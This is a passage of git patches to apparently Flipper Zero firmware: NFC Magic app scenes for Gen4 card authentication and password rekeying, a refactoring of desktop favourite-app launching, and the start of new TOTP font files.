widget_add_string_element( widget, 3, 4, AlignLeft, AlignTop, FontPrimary, "Magic card detected"); + widget_add_string_element(widget, 3, 17, AlignLeft, AlignTop, FontSecondary, card_type); widget_add_button_element( widget, GuiButtonTypeLeft, "Retry", nfc_magic_scene_magic_info_widget_callback, nfc_magic); + widget_add_button_element( + widget, GuiButtonTypeRight, "More", nfc_magic_scene_magic_info_widget_callback, nfc_magic); // Setup and start worker view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); @@ -33,6 +38,15 @@ bool nfc_magic_scene_magic_info_on_event(void* context, SceneManagerEvent event) if(event.type == SceneManagerEventTypeCustom) { if(event.event == GuiButtonTypeLeft) { consumed = scene_manager_previous_scene(nfc_magic->scene_manager); + } else if(event.event == GuiButtonTypeRight) { + MagicType type = nfc_magic->dev->type; + if(type == MagicTypeGen4) { + scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneGen4Actions); + consumed = true; + } else { + scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneActions); + consumed = true; + } } } return consumed; diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_new_key_input.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_new_key_input.c new file mode 100644 index 000000000..b5247f6c5 --- /dev/null +++ b/applications/external/nfc_magic/scenes/nfc_magic_scene_new_key_input.c @@ -0,0 +1,45 @@ +#include "../nfc_magic_i.h" + +void nfc_magic_scene_new_key_input_byte_input_callback(void* context) { + NfcMagic* nfc_magic = context; + + view_dispatcher_send_custom_event( + nfc_magic->view_dispatcher, NfcMagicCustomEventByteInputDone); +} + +void nfc_magic_scene_new_key_input_on_enter(void* context) { + NfcMagic* nfc_magic = context; + + // Setup view + ByteInput* byte_input = nfc_magic->byte_input; + byte_input_set_header_text(byte_input, "Enter the password in hex"); + byte_input_set_result_callback( + byte_input, + nfc_magic_scene_new_key_input_byte_input_callback, + NULL, + nfc_magic, + (uint8_t*)&nfc_magic->new_password, + 4); + view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewByteInput); +} + +bool nfc_magic_scene_new_key_input_on_event(void* context, SceneManagerEvent event) { + NfcMagic* nfc_magic = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == NfcMagicCustomEventByteInputDone) { + scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneRekey); + consumed = true; + } + } + return consumed; +} + +void nfc_magic_scene_new_key_input_on_exit(void* context) { + NfcMagic* nfc_magic = context; + + // Clear view + byte_input_set_result_callback(nfc_magic->byte_input, NULL, NULL, NULL, NULL, 0); + byte_input_set_header_text(nfc_magic->byte_input, ""); +} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey.c new file mode 100644 index 000000000..259dc78ea --- /dev/null +++ b/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey.c @@ -0,0 +1,95 @@ +#include "../nfc_magic_i.h" + +enum { + NfcMagicSceneRekeyStateCardSearch, + NfcMagicSceneRekeyStateCardFound, +}; + +bool nfc_magic_rekey_worker_callback(NfcMagicWorkerEvent event, void* context) { + furi_assert(context); + + NfcMagic* nfc_magic = context; + view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, event); + + return true; +} + +static void nfc_magic_scene_rekey_setup_view(NfcMagic* nfc_magic) { + Popup* popup = nfc_magic->popup; + popup_reset(popup); + uint32_t state = scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneRekey); + + if(state == NfcMagicSceneRekeyStateCardSearch) { + popup_set_text( + nfc_magic->popup, + "Apply the\nsame card\nto the back", + 128, + 32, + AlignRight, + AlignCenter); + popup_set_icon(nfc_magic->popup, 0, 8, &I_NFC_manual_60x50); + } else { + popup_set_icon(popup, 12, 23, &I_Loading_24); + popup_set_header(popup, "Writing\nDon't move...", 52, 32, AlignLeft, AlignCenter); + } + + view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewPopup); +} + +void nfc_magic_scene_rekey_on_enter(void* context) { + NfcMagic* nfc_magic = context; + + scene_manager_set_scene_state( + nfc_magic->scene_manager, NfcMagicSceneRekey, NfcMagicSceneRekeyStateCardSearch); + nfc_magic_scene_rekey_setup_view(nfc_magic); + + // Setup and start worker + nfc_magic_worker_start( + nfc_magic->worker, + NfcMagicWorkerStateRekey, + nfc_magic->dev, + &nfc_magic->source_dev->dev_data, + nfc_magic->new_password, + nfc_magic_rekey_worker_callback, + nfc_magic); + nfc_magic_blink_start(nfc_magic); +} + +bool nfc_magic_scene_rekey_on_event(void* context, SceneManagerEvent event) { + NfcMagic* nfc_magic = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == NfcMagicWorkerEventSuccess) { + nfc_magic->dev->password = nfc_magic->new_password; + scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneSuccess); + consumed = true; + } else if(event.event == NfcMagicWorkerEventFail) { + scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneRekeyFail); + consumed = true; + } else if(event.event == NfcMagicWorkerEventCardDetected) { + scene_manager_set_scene_state( + nfc_magic->scene_manager, NfcMagicSceneRekey, NfcMagicSceneRekeyStateCardFound); + nfc_magic_scene_rekey_setup_view(nfc_magic); + consumed = true; + } else if(event.event == NfcMagicWorkerEventNoCardDetected) { + scene_manager_set_scene_state( + nfc_magic->scene_manager, NfcMagicSceneRekey, NfcMagicSceneRekeyStateCardSearch); + nfc_magic_scene_rekey_setup_view(nfc_magic); + consumed = true; + } + } + return consumed; +} + +void nfc_magic_scene_rekey_on_exit(void* context) { + NfcMagic* nfc_magic = context; + + nfc_magic_worker_stop(nfc_magic->worker); + scene_manager_set_scene_state( + nfc_magic->scene_manager, NfcMagicSceneRekey, NfcMagicSceneRekeyStateCardSearch); + // Clear view + popup_reset(nfc_magic->popup); + + nfc_magic_blink_stop(nfc_magic); +} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey_fail.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey_fail.c new file mode 100644 index 000000000..d30ee57bc --- /dev/null +++ b/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey_fail.c @@ -0,0 +1,50 @@ +#include "../nfc_magic_i.h" + +void nfc_magic_scene_rekey_fail_widget_callback( + GuiButtonType result, + InputType type, + void* context) { + NfcMagic* nfc_magic = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, result); + } +} + +void nfc_magic_scene_rekey_fail_on_enter(void* context) { + NfcMagic* nfc_magic = context; + Widget* widget = nfc_magic->widget; + + notification_message(nfc_magic->notifications, &sequence_error); + + widget_add_icon_element(widget, 72, 17, &I_DolphinCommon_56x48); + widget_add_string_element( + widget, 7, 4, AlignLeft, AlignTop, FontPrimary, "Can't change password!"); + + widget_add_button_element( + widget, GuiButtonTypeLeft, "Finish", nfc_magic_scene_rekey_fail_widget_callback, nfc_magic); + + // Setup and start worker + view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); +} + +bool nfc_magic_scene_rekey_fail_on_event(void* context, SceneManagerEvent event) { + NfcMagic* nfc_magic = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == GuiButtonTypeLeft) { + consumed = scene_manager_search_and_switch_to_previous_scene( + nfc_magic->scene_manager, NfcMagicSceneStart); + } + } else if(event.type == SceneManagerEventTypeBack) { + consumed = scene_manager_search_and_switch_to_previous_scene( + nfc_magic->scene_manager, NfcMagicSceneStart); + } + return consumed; +} + +void nfc_magic_scene_rekey_fail_on_exit(void* context) { + NfcMagic* nfc_magic = context; + + widget_reset(nfc_magic->widget); +} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_start.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_start.c index a70eb8acc..b5861629e 100644 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_start.c +++ b/applications/external/nfc_magic/scenes/nfc_magic_scene_start.c @@ -1,8 +1,7 @@ #include "../nfc_magic_i.h" enum SubmenuIndex { SubmenuIndexCheck, - SubmenuIndexWriteGen1A, - SubmenuIndexWipe, + SubmenuIndexAuthenticateGen4, }; void nfc_magic_scene_start_submenu_callback(void* context, uint32_t index) { @@ -22,12 +21,10 @@ void nfc_magic_scene_start_on_enter(void* context) { nfc_magic); submenu_add_item( submenu, - "Write Gen1A", - SubmenuIndexWriteGen1A, + "Authenticate Gen4", + SubmenuIndexAuthenticateGen4, nfc_magic_scene_start_submenu_callback, nfc_magic); - submenu_add_item( - submenu, "Wipe", SubmenuIndexWipe, nfc_magic_scene_start_submenu_callback, nfc_magic); submenu_set_selected_item( submenu, scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneStart)); @@ -40,23 +37,13 @@ bool nfc_magic_scene_start_on_event(void* context, SceneManagerEvent event) { if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubmenuIndexCheck) { + nfc_magic->dev->password = MAGIC_GEN4_DEFAULT_PWD; scene_manager_set_scene_state( nfc_magic->scene_manager, NfcMagicSceneStart, SubmenuIndexCheck); scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneCheck); consumed = true; - } else if(event.event == SubmenuIndexWriteGen1A) { - // Explicitly save state in each branch so that the - // correct option is reselected if the user cancels - // loading a file. - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneStart, SubmenuIndexWriteGen1A); - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneFileSelect); - consumed = true; - } else if(event.event == SubmenuIndexWipe) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneStart, SubmenuIndexWipe); - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWipe); - consumed = true; + } else if(event.event == SubmenuIndexAuthenticateGen4) { + scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneKeyInput); } } diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe.c index 1ca194286..29640f89c 100644 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe.c +++ b/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe.c @@ -22,7 +22,12 @@ static void nfc_magic_scene_wipe_setup_view(NfcMagic* nfc_magic) { if(state == NfcMagicSceneWipeStateCardSearch) { popup_set_icon(nfc_magic->popup, 0, 8, &I_NFC_manual_60x50); popup_set_text( - nfc_magic->popup, "Apply card to\nthe back", 128, 32, AlignRight, AlignCenter); + nfc_magic->popup, + "Apply the\nsame card\nto the back", + 128, + 32, + AlignRight, + AlignCenter); } else { popup_set_icon(popup, 12, 23, &I_Loading_24); popup_set_header(popup, "Wiping\nDon't move...", 52, 32, AlignLeft, AlignCenter); @@ -42,7 +47,9 @@ void nfc_magic_scene_wipe_on_enter(void* context) { nfc_magic_worker_start( nfc_magic->worker, NfcMagicWorkerStateWipe, - &nfc_magic->nfc_dev->dev_data, + nfc_magic->dev, + &nfc_magic->source_dev->dev_data, + nfc_magic->new_password, nfc_magic_wipe_worker_callback, nfc_magic); nfc_magic_blink_start(nfc_magic); diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_write.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_write.c index c3e6f962a..45c54557f 100644 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_write.c +++ b/applications/external/nfc_magic/scenes/nfc_magic_scene_write.c @@ -21,7 +21,12 @@ static void nfc_magic_scene_write_setup_view(NfcMagic* nfc_magic) { if(state == NfcMagicSceneWriteStateCardSearch) { popup_set_text( - nfc_magic->popup, "Apply card to\nthe back", 128, 32, AlignRight, AlignCenter); + nfc_magic->popup, + "Apply the\nsame card\nto the back", + 128, + 32, + AlignRight, + AlignCenter); popup_set_icon(nfc_magic->popup, 0, 8, &I_NFC_manual_60x50); } else { popup_set_icon(popup, 12, 23, &I_Loading_24); @@ -42,7 +47,9 @@ void nfc_magic_scene_write_on_enter(void* context) { nfc_magic_worker_start( nfc_magic->worker, NfcMagicWorkerStateWrite, - &nfc_magic->nfc_dev->dev_data, + nfc_magic->dev, + &nfc_magic->source_dev->dev_data, + nfc_magic->new_password, nfc_magic_write_worker_callback, nfc_magic); nfc_magic_blink_start(nfc_magic); diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_wrong_card.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wrong_card.c index 4b8089693..857d50c1f 100644 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_wrong_card.c +++ b/applications/external/nfc_magic/scenes/nfc_magic_scene_wrong_card.c @@ -26,7 +26,7 @@ void nfc_magic_scene_wrong_card_on_enter(void* context) { AlignLeft, AlignTop, FontSecondary, - "Writing is supported\nonly for 4 bytes UID\nMifare Classic 1k"); + "Writing this file is\nnot supported for\nthis magic card."); widget_add_button_element( widget, GuiButtonTypeLeft, "Retry", nfc_magic_scene_wrong_card_widget_callback, nfc_magic); From 12f9b6a89e8a57b818c7139fb3ebb77ee0ac8a4e Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 26 May 2023 13:13:46 +0300 Subject: [PATCH 048/100] Apply desktop favourite apps refactoring --- .../services/desktop/desktop_settings.h | 2 - .../desktop/scenes/desktop_scene_main.c | 115 +++++-------- .../scenes/desktop_settings_scene_favorite.c | 162 ++++++++---------- 3 files changed, 109 insertions(+), 170 deletions(-) diff --git a/applications/services/desktop/desktop_settings.h b/applications/services/desktop/desktop_settings.h index fb63f26f5..5946873f0 100644 --- a/applications/services/desktop/desktop_settings.h +++ b/applications/services/desktop/desktop_settings.h @@ -43,8 +43,6 @@ #define DISPLAY_BATTERY_RETRO_5 4 #define DISPLAY_BATTERY_BAR_PERCENT 5 -#define FAP_LOADER_APP_NAME "Applications" - typedef struct { InputKey data[MAX_PIN_SIZE]; uint8_t length; diff --git a/applications/services/desktop/scenes/desktop_scene_main.c b/applications/services/desktop/scenes/desktop_scene_main.c index f504646bf..79f17fee7 100644 --- a/applications/services/desktop/scenes/desktop_scene_main.c +++ b/applications/services/desktop/scenes/desktop_scene_main.c @@ -12,6 +12,8 @@ #define TAG "DesktopSrv" +#define FAP_LOADER_APP_NAME "Applications" + static void desktop_scene_main_new_idle_animation_callback(void* context) { furi_assert(context); Desktop* desktop = context; @@ -60,6 +62,34 @@ static void desktop_switch_to_app(Desktop* desktop, const FlipperApplication* fl } #endif +static void desktop_scene_main_open_app_or_profile(Desktop* desktop, const char* path) { + do { + LoaderStatus status = loader_start(desktop->loader, FAP_LOADER_APP_NAME, path); + if(status == LoaderStatusOk) break; + FURI_LOG_E(TAG, "loader_start failed: %d", status); + + status = loader_start(desktop->loader, "Passport", NULL); + if(status != LoaderStatusOk) { + FURI_LOG_E(TAG, "loader_start failed: %d", status); + } + } while(false); +} + +static void desktop_scene_main_start_favorite(Desktop* desktop, FavoriteApp* application) { + LoaderStatus status = LoaderStatusErrorInternal; + if(application->is_external) { + status = loader_start(desktop->loader, FAP_LOADER_APP_NAME, application->name_or_path); + } else if(strlen(application->name_or_path) > 0) { + status = loader_start(desktop->loader, application->name_or_path, NULL); + } else { + status = loader_start(desktop->loader, FAP_LOADER_APP_NAME, NULL); + } + + if(status != LoaderStatusOk) { + FURI_LOG_E(TAG, "loader_start failed: %d", status); + } +} + void desktop_scene_main_callback(DesktopEvent event, void* context) { Desktop* desktop = (Desktop*)context; if(desktop->in_transition) return; @@ -130,59 +160,17 @@ bool desktop_scene_main_on_event(void* context, SceneManagerEvent event) { case DesktopMainEventOpenFavoritePrimary: DESKTOP_SETTINGS_LOAD(&desktop->settings); - if(desktop->settings.favorite_primary.is_external) { - LoaderStatus status = loader_start( - desktop->loader, - FAP_LOADER_APP_NAME, - desktop->settings.favorite_primary.name_or_path); - if(status != LoaderStatusOk) { - FURI_LOG_E(TAG, "loader_start failed: %d", status); - } - } else { - LoaderStatus status = loader_start( - desktop->loader, desktop->settings.favorite_primary.name_or_path, NULL); - if(status != LoaderStatusOk) { - FURI_LOG_E(TAG, "loader_start failed: %d", status); - } - } + desktop_scene_main_start_favorite(desktop, &desktop->settings.favorite_primary); consumed = true; break; case DesktopMainEventOpenFavoriteSecondary: DESKTOP_SETTINGS_LOAD(&desktop->settings); - if(desktop->settings.favorite_secondary.is_external) { - LoaderStatus status = loader_start( - desktop->loader, - FAP_LOADER_APP_NAME, - desktop->settings.favorite_secondary.name_or_path); - if(status != LoaderStatusOk) { - FURI_LOG_E(TAG, "loader_start failed: %d", status); - } - } else { - LoaderStatus status = loader_start( - desktop->loader, desktop->settings.favorite_secondary.name_or_path, NULL); - if(status != LoaderStatusOk) { - FURI_LOG_E(TAG, "loader_start failed: %d", status); - } - } + desktop_scene_main_start_favorite(desktop, &desktop->settings.favorite_secondary); consumed = true; break; case DesktopMainEventOpenFavoriteTertiary: DESKTOP_SETTINGS_LOAD(&desktop->settings); - if(desktop->settings.favorite_tertiary.is_external) { - LoaderStatus status = loader_start( - desktop->loader, - FAP_LOADER_APP_NAME, - desktop->settings.favorite_tertiary.name_or_path); - if(status != LoaderStatusOk) { - FURI_LOG_E(TAG, "loader_start failed: %d", status); - } - } else { - LoaderStatus status = loader_start( - desktop->loader, desktop->settings.favorite_tertiary.name_or_path, NULL); - if(status != LoaderStatusOk) { - FURI_LOG_E(TAG, "loader_start failed: %d", status); - } - } + desktop_scene_main_start_favorite(desktop, &desktop->settings.favorite_tertiary); consumed = true; break; case DesktopAnimationEventCheckAnimation: @@ -210,51 +198,28 @@ bool desktop_scene_main_on_event(void* context, SceneManagerEvent event) { break; } case DesktopMainEventOpenGameMenu: { - LoaderStatus status = loader_start( - desktop->loader, FAP_LOADER_APP_NAME, EXT_PATH("/apps/Games/Snake.fap")); - if(status != LoaderStatusOk) { - FURI_LOG_E(TAG, "loader_start failed: %d", status); - } + desktop_scene_main_open_app_or_profile(desktop, EXT_PATH("/apps/Games/Snake.fap")); break; } case DesktopMainEventOpenTetris: { - LoaderStatus status = loader_start( - desktop->loader, FAP_LOADER_APP_NAME, EXT_PATH("/apps/Games/Tetris.fap")); - if(status != LoaderStatusOk) { - FURI_LOG_E(TAG, "loader_start failed: %d", status); - } + desktop_scene_main_open_app_or_profile(desktop, EXT_PATH("/apps/Games/Tetris.fap")); break; } case DesktopMainEventOpenArkanoid: { - LoaderStatus status = loader_start( - desktop->loader, FAP_LOADER_APP_NAME, EXT_PATH("/apps/Games/Arkanoid.fap")); - if(status != LoaderStatusOk) { - FURI_LOG_E(TAG, "loader_start failed: %d", status); - } + desktop_scene_main_open_app_or_profile(desktop, EXT_PATH("/apps/Games/Arkanoid.fap")); break; } case DesktopMainEventOpenDOOM: { - LoaderStatus status = loader_start( - desktop->loader, FAP_LOADER_APP_NAME, EXT_PATH("/apps/Games/DOOM.fap")); - if(status != LoaderStatusOk) { - FURI_LOG_E(TAG, "loader_start failed: %d", status); - } + desktop_scene_main_open_app_or_profile(desktop, EXT_PATH("/apps/Games/DOOM.fap")); break; } case DesktopMainEventOpenZombiez: { - LoaderStatus status = loader_start( - desktop->loader, FAP_LOADER_APP_NAME, EXT_PATH("/apps/Games/Zombiez.fap")); - if(status != LoaderStatusOk) { - FURI_LOG_E(TAG, "loader_start failed: %d", status); - } + desktop_scene_main_open_app_or_profile(desktop, EXT_PATH("/apps/Games/Zombiez.fap")); break; } case DesktopMainEventOpenHeap: { - LoaderStatus status = loader_start( - desktop->loader, FAP_LOADER_APP_NAME, EXT_PATH("/apps/Games/heap_defence.fap")); - if(status != LoaderStatusOk) { - FURI_LOG_E(TAG, "loader_start failed: %d", status); - } + desktop_scene_main_open_app_or_profile( + desktop, EXT_PATH("/apps/Games/heap_defence.fap")); break; } case DesktopLockedEventUpdate: diff --git a/applications/settings/desktop_settings/scenes/desktop_settings_scene_favorite.c b/applications/settings/desktop_settings/scenes/desktop_settings_scene_favorite.c index c014c97f7..25bab6dd6 100644 --- a/applications/settings/desktop_settings/scenes/desktop_settings_scene_favorite.c +++ b/applications/settings/desktop_settings/scenes/desktop_settings_scene_favorite.c @@ -5,6 +5,9 @@ #include #include +#define EXTERNAL_APPLICATION_NAME ("[External Application]") +#define EXTERNAL_APPLICATION_INDEX (FLIPPER_APPS_COUNT + 1) + static bool favorite_fap_selector_item_callback( FuriString* file_path, void* context, @@ -44,6 +47,20 @@ void desktop_settings_scene_favorite_on_enter(void* context) { uint32_t primary_favorite = scene_manager_get_scene_state(app->scene_manager, DesktopSettingsAppSceneFavorite); uint32_t pre_select_item = 0; + FavoriteApp* curr_favorite_app = NULL; + if(primary_favorite == 0) { + curr_favorite_app = &app->settings.favorite_primary; + } else if(primary_favorite == 1) { + curr_favorite_app = &app->settings.favorite_secondary; + } else if(primary_favorite == 2) { + curr_favorite_app = &app->settings.favorite_tertiary; + } else { + curr_favorite_app = &app->settings.favorite_primary; + } + if(curr_favorite_app == NULL) { + // This should not happen! + return; + } for(size_t i = 0; i < FLIPPER_APPS_COUNT; i++) { submenu_add_item( @@ -53,30 +70,29 @@ void desktop_settings_scene_favorite_on_enter(void* context) { desktop_settings_scene_favorite_submenu_callback, app); - if(primary_favorite == 0) { // Select favorite item in submenu - if((app->settings.favorite_primary.is_external && - !strcmp(FLIPPER_APPS[i].name, FAP_LOADER_APP_NAME)) || - (!strcmp(FLIPPER_APPS[i].name, app->settings.favorite_primary.name_or_path))) { - pre_select_item = i; - } - } else if(primary_favorite == 1) { - if((app->settings.favorite_secondary.is_external && - !strcmp(FLIPPER_APPS[i].name, FAP_LOADER_APP_NAME)) || - (!strcmp(FLIPPER_APPS[i].name, app->settings.favorite_secondary.name_or_path))) { - pre_select_item = i; - } - } else if(primary_favorite == 2) { - if((app->settings.favorite_tertiary.is_external && - !strcmp(FLIPPER_APPS[i].name, FAP_LOADER_APP_NAME)) || - (!strcmp(FLIPPER_APPS[i].name, app->settings.favorite_tertiary.name_or_path))) { - pre_select_item = i; - } + // Select favorite item in submenu + if(!curr_favorite_app->is_external && + !strcmp(FLIPPER_APPS[i].name, curr_favorite_app->name_or_path)) { + pre_select_item = i; } } + +#ifdef APP_FAP_LOADER + submenu_add_item( + submenu, + EXTERNAL_APPLICATION_NAME, + EXTERNAL_APPLICATION_INDEX, + desktop_settings_scene_favorite_submenu_callback, + app); + if(curr_favorite_app->is_external) { + pre_select_item = EXTERNAL_APPLICATION_INDEX; + } +#endif + submenu_add_item( submenu, "None (disable)", - FLIPPER_APPS_COUNT + 1, + FLIPPER_APPS_COUNT + 2, desktop_settings_scene_favorite_submenu_callback, app); @@ -99,46 +115,24 @@ bool desktop_settings_scene_favorite_on_event(void* context, SceneManagerEvent e uint32_t primary_favorite = scene_manager_get_scene_state(app->scene_manager, DesktopSettingsAppSceneFavorite); + FavoriteApp* curr_favorite_app = NULL; + if(primary_favorite == 0) { + curr_favorite_app = &app->settings.favorite_primary; + } else if(primary_favorite == 1) { + curr_favorite_app = &app->settings.favorite_secondary; + } else if(primary_favorite == 2) { + curr_favorite_app = &app->settings.favorite_tertiary; + } else { + curr_favorite_app = &app->settings.favorite_primary; + } + if(curr_favorite_app == NULL) { + // This should not happen! + furi_string_free(temp_path); + return consumed; + } if(event.type == SceneManagerEventTypeCustom) { - if(event.event >= (FLIPPER_APPS_COUNT + 1)) { - if(primary_favorite == 0) { - app->settings.favorite_primary.is_external = false; - strncpy(app->settings.favorite_primary.name_or_path, "", MAX_APP_LENGTH); - } else if(primary_favorite == 1) { - app->settings.favorite_secondary.is_external = false; - strncpy(app->settings.favorite_secondary.name_or_path, "", MAX_APP_LENGTH); - } else if(primary_favorite == 2) { - app->settings.favorite_tertiary.is_external = false; - strncpy(app->settings.favorite_tertiary.name_or_path, "", MAX_APP_LENGTH); - } - - scene_manager_previous_scene(app->scene_manager); - consumed = true; - furi_string_free(temp_path); - return consumed; - } - if(strcmp(FLIPPER_APPS[event.event].name, FAP_LOADER_APP_NAME) != 0) { - if(primary_favorite == 0) { - app->settings.favorite_primary.is_external = false; - strncpy( - app->settings.favorite_primary.name_or_path, - FLIPPER_APPS[event.event].name, - MAX_APP_LENGTH); - } else if(primary_favorite == 1) { - app->settings.favorite_secondary.is_external = false; - strncpy( - app->settings.favorite_secondary.name_or_path, - FLIPPER_APPS[event.event].name, - MAX_APP_LENGTH); - } else if(primary_favorite == 2) { - app->settings.favorite_tertiary.is_external = false; - strncpy( - app->settings.favorite_tertiary.name_or_path, - FLIPPER_APPS[event.event].name, - MAX_APP_LENGTH); - } - } else { + if(event.event == EXTERNAL_APPLICATION_INDEX) { const DialogsFileBrowserOptions browser_options = { .extension = ".fap", .icon = &I_unknown_10px, @@ -149,47 +143,29 @@ bool desktop_settings_scene_favorite_on_event(void* context, SceneManagerEvent e .base_path = EXT_PATH("apps"), }; - if(primary_favorite == 0) { // Select favorite fap in file browser - if(favorite_fap_selector_file_exists( - app->settings.favorite_primary.name_or_path)) { - furi_string_set_str(temp_path, app->settings.favorite_primary.name_or_path); - } - } else if(primary_favorite == 1) { - if(favorite_fap_selector_file_exists( - app->settings.favorite_secondary.name_or_path)) { - furi_string_set_str(temp_path, app->settings.favorite_secondary.name_or_path); - } - } else if(primary_favorite == 2) { - if(favorite_fap_selector_file_exists( - app->settings.favorite_tertiary.name_or_path)) { - furi_string_set_str(temp_path, app->settings.favorite_tertiary.name_or_path); - } + // Select favorite fap in file browser + if(favorite_fap_selector_file_exists(curr_favorite_app->name_or_path)) { + furi_string_set_str(temp_path, curr_favorite_app->name_or_path); } - submenu_reset(app->submenu); if(dialog_file_browser_show(app->dialogs, temp_path, temp_path, &browser_options)) { - if(primary_favorite == 0) { - app->settings.favorite_primary.is_external = true; - strncpy( - app->settings.favorite_primary.name_or_path, - furi_string_get_cstr(temp_path), - MAX_APP_LENGTH); - } else if(primary_favorite == 1) { - app->settings.favorite_secondary.is_external = true; - strncpy( - app->settings.favorite_secondary.name_or_path, - furi_string_get_cstr(temp_path), - MAX_APP_LENGTH); - } else if(primary_favorite == 2) { - app->settings.favorite_tertiary.is_external = true; - strncpy( - app->settings.favorite_tertiary.name_or_path, - furi_string_get_cstr(temp_path), - MAX_APP_LENGTH); - } + submenu_reset(app->submenu); // Prevent menu from being shown when we exiting scene + curr_favorite_app->is_external = true; + strncpy( + curr_favorite_app->name_or_path, + furi_string_get_cstr(temp_path), + MAX_APP_LENGTH); + consumed = true; } + } else { + curr_favorite_app->is_external = false; + strncpy( + curr_favorite_app->name_or_path, FLIPPER_APPS[event.event].name, MAX_APP_LENGTH); + consumed = true; } - scene_manager_previous_scene(app->scene_manager); + if(consumed) { + scene_manager_previous_scene(app->scene_manager); + }; consumed = true; } From 24ad48d3908194c92aa20dc139f76cb3feb0ac46 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 26 May 2023 13:22:06 +0300 Subject: [PATCH 049/100] Update TOTP --- .../totp/ui/fonts/712serif/712serif.c | 940 +++++++++++++ .../totp/ui/fonts/712serif/712serif.h | 8 + .../external/totp/ui/fonts/active_font.h | 27 + .../totp/ui/fonts/bedstead/bedstead.c | 1056 +++++++++++++++ .../totp/ui/fonts/bedstead/bedstead.h | 8 + .../totp/ui/fonts/graph35pix/graph35pix.c | 940 +++++++++++++ .../totp/ui/fonts/graph35pix/graph35pix.h | 8 + .../totp/ui/fonts/karma_future/karma_future.c | 1172 +++++++++++++++++ .../totp/ui/fonts/karma_future/karma_future.h | 8 + .../{mode-nine => mode_nine}/mode_nine.c | 0 .../{mode-nine => mode_nine}/mode_nine.h | 0 .../totp/ui/fonts/redhat_mono/redhat_mono.c | 1057 +++++++++++++++ .../totp/ui/fonts/redhat_mono/redhat_mono.h | 8 + .../external/totp/ui/fonts/zector/zector.c | 1056 +++++++++++++++ .../external/totp/ui/fonts/zector/zector.h | 8 + .../ui/scenes/add_new_token/totp_input_text.c | 2 +- .../add_new_token/totp_scene_add_new_token.c | 144 +- .../scenes/app_settings/totp_app_settings.c | 215 +-- .../authenticate/totp_scene_authenticate.c | 79 +- .../totp_scene_generate_token.c | 107 +- .../scenes/token_menu/totp_scene_token_menu.c | 81 +- .../generate_totp_code/generate_totp_code.c | 15 +- .../external/totp/workers/type_code_common.c | 7 +- 23 files changed, 6631 insertions(+), 315 deletions(-) create mode 100644 applications/external/totp/ui/fonts/712serif/712serif.c create mode 100644 applications/external/totp/ui/fonts/712serif/712serif.h create mode 100644 applications/external/totp/ui/fonts/active_font.h create mode 100644 applications/external/totp/ui/fonts/bedstead/bedstead.c create mode 100644 applications/external/totp/ui/fonts/bedstead/bedstead.h create mode 100644 applications/external/totp/ui/fonts/graph35pix/graph35pix.c create mode 100644 applications/external/totp/ui/fonts/graph35pix/graph35pix.h create mode 100644 applications/external/totp/ui/fonts/karma_future/karma_future.c create mode 100644 applications/external/totp/ui/fonts/karma_future/karma_future.h rename applications/external/totp/ui/fonts/{mode-nine => mode_nine}/mode_nine.c (100%) rename applications/external/totp/ui/fonts/{mode-nine => mode_nine}/mode_nine.h (100%) create mode 100644 applications/external/totp/ui/fonts/redhat_mono/redhat_mono.c create mode 100644 applications/external/totp/ui/fonts/redhat_mono/redhat_mono.h create mode 100644 applications/external/totp/ui/fonts/zector/zector.c create mode 100644 applications/external/totp/ui/fonts/zector/zector.h diff --git a/applications/external/totp/ui/fonts/712serif/712serif.c b/applications/external/totp/ui/fonts/712serif/712serif.c new file mode 100644 index 000000000..0fe73378c --- /dev/null +++ b/applications/external/totp/ui/fonts/712serif/712serif.c @@ -0,0 +1,940 @@ +#include "712serif.h" + +/* GENERATED BY https://github.com/pavius/the-dot-factory */ + +/* +** Font data for 7:12 Serif 24pt 